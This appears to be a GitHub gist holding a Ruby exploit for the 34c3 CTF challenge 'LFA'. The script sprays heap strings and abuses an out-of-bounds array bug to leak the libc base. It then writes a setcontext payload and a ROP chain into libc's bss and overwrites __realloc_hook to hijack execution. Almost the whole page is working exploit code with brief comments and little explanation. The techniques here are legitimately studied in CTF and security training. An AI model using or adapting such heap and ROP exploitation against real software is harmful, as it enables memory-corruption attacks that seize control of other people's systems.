-
-
Save Charo-IT/52d3752c20499de72f65803a4762cd18 to your computer and use it in GitHub Desktop.
34c3 CTF - LFA
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# struct RString { | |
# struct RBasic basic; | |
# union { | |
# struct { | |
# long len; | |
# char *ptr; | |
# union { | |
# long capa; | |
# VALUE shared; | |
# } aux; | |
# } heap; | |
# char ary[RSTRING_EMBED_LEN_MAX + 1]; | |
# } as; | |
# }; | |
main_arena = 0x3dac20 | |
bss_end = 0x3dc000 | |
setcontext = 0x4a865 | |
__realloc_hook = 0x3dac08 | |
ret = 0x20b8c | |
pop_rdi_ret = 0x20b8b | |
pop_rsi_ret = 0x20a0b | |
pop_rdx_ret = 0x1b96 | |
off_readv = 0x109ed0 | |
off_write = 0x104040 | |
def wait | |
puts "waiting..." | |
STDOUT.flush | |
gets | |
end | |
def spray(cnt) | |
a = Array.new(cnt) | |
a.length.times{|i| | |
s = "\x00".b * 23 | |
s[0] = "d" | |
s[1] = "e" | |
s[2] = "a" | |
s[3] = "d" | |
s[4] = "b" | |
s[5] = "e" | |
s[6] = "e" | |
s[7] = "f" | |
s[8] = (i & 0xff).chr | |
s[9] = ((i >> 8) & 0xff).chr | |
s[10] = ((i >> 16) & 0xff).chr | |
s[11] = ((i >> 24) & 0xff).chr | |
a[i] = s | |
} | |
a | |
end | |
def to_int(a) | |
a &= 0xffffffff | |
raise if a >= 0x80000000 | |
a | |
end | |
def writemem(lfa, offset, str, address, data) | |
lfa[offset] = to_int(data.length) | |
lfa[offset + 1] = to_int(data.length >> 32) | |
lfa[offset + 2] = to_int(address) | |
lfa[offset + 3] = to_int(address >> 32) | |
data.bytes.each_with_index{|b, i| | |
str[i] = b.chr | |
} | |
end | |
# disable GC to prevent messing | |
GC.disable | |
a = LFA.new | |
# spray RString object | |
s = spray(1024) | |
# trigger the vulnerability and achieve OOB read/write | |
a[0x7fffffff] = 1 | |
a.remove(0x7fffffff) | |
# find victim RString | |
offset, index = [] | |
0.step(0x7fffffff, 2){|i| | |
if a[i] == 0x64616564 and a[i + 1] == 0x66656562 | |
offset = i | |
index = a[i + 2] | |
break | |
end | |
} | |
raise if offset.nil? | |
# leak libc base | |
168.times{ | |
s[index] << "A" | |
} | |
oldbuf = a[offset + 2] + (a[offset + 3] << 32) | |
s[index] << "A" | |
newbuf = a[offset + 2] + (a[offset + 3] << 32) | |
a[offset + 2] = to_int(oldbuf) | |
a[offset + 3] = to_int(oldbuf >> 32) | |
libc_base = s[index][8...16].unpack("Q")[0] - main_arena - 0x58 | |
a[offset + 2] = to_int(newbuf) | |
a[offset + 3] = to_int(newbuf >> 32) | |
puts "libc base = 0x%x" % libc_base | |
STDOUT.flush | |
# write payload for setcontext | |
payload = "".b | |
payload << "\0" * 0xa0 | |
payload << [libc_base + bss_end - 0x200].pack("Q") | |
payload << [libc_base + ret].pack("Q") | |
writemem(a, offset, s[index], libc_base + bss_end - 0x100, payload) | |
# write ROP chain to libc's bss | |
rop = "".b | |
rop << [libc_base + pop_rdi_ret, 1023].pack("Q*") | |
rop << [libc_base + pop_rsi_ret, libc_base + bss_end - 0x180].pack("Q*") | |
rop << [libc_base + pop_rdx_ret, 1].pack("Q*") | |
rop << [libc_base + off_readv].pack("Q") | |
rop << [libc_base + pop_rdi_ret, 1].pack("Q*") | |
rop << [libc_base + pop_rsi_ret, libc_base + bss_end - 0x80].pack("Q*") | |
rop << [libc_base + pop_rdx_ret, 0x90].pack("Q*") | |
rop << [libc_base + off_write].pack("Q") | |
rop << "\0" * 16 | |
rop << [libc_base + bss_end - 0x80, 0x40].pack("Q*") | |
writemem(a, offset, s[index], libc_base + bss_end - 0x200, rop) | |
# overwrite __realloc_hook | |
writemem(a, offset, s[index], libc_base + __realloc_hook, [libc_base + setcontext].pack("Q")) | |
# trigger realloc | |
a[offset] = 1 | |
a[offset + 1] = 0 | |
a[offset + 2] = to_int(libc_base + bss_end - 0x100) | |
a[offset + 3] = to_int((libc_base + bss_end - 0x100) >> 32) | |
a[offset + 4] = 1 | |
a[offset + 5] = 0 | |
s[index] << "A" |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment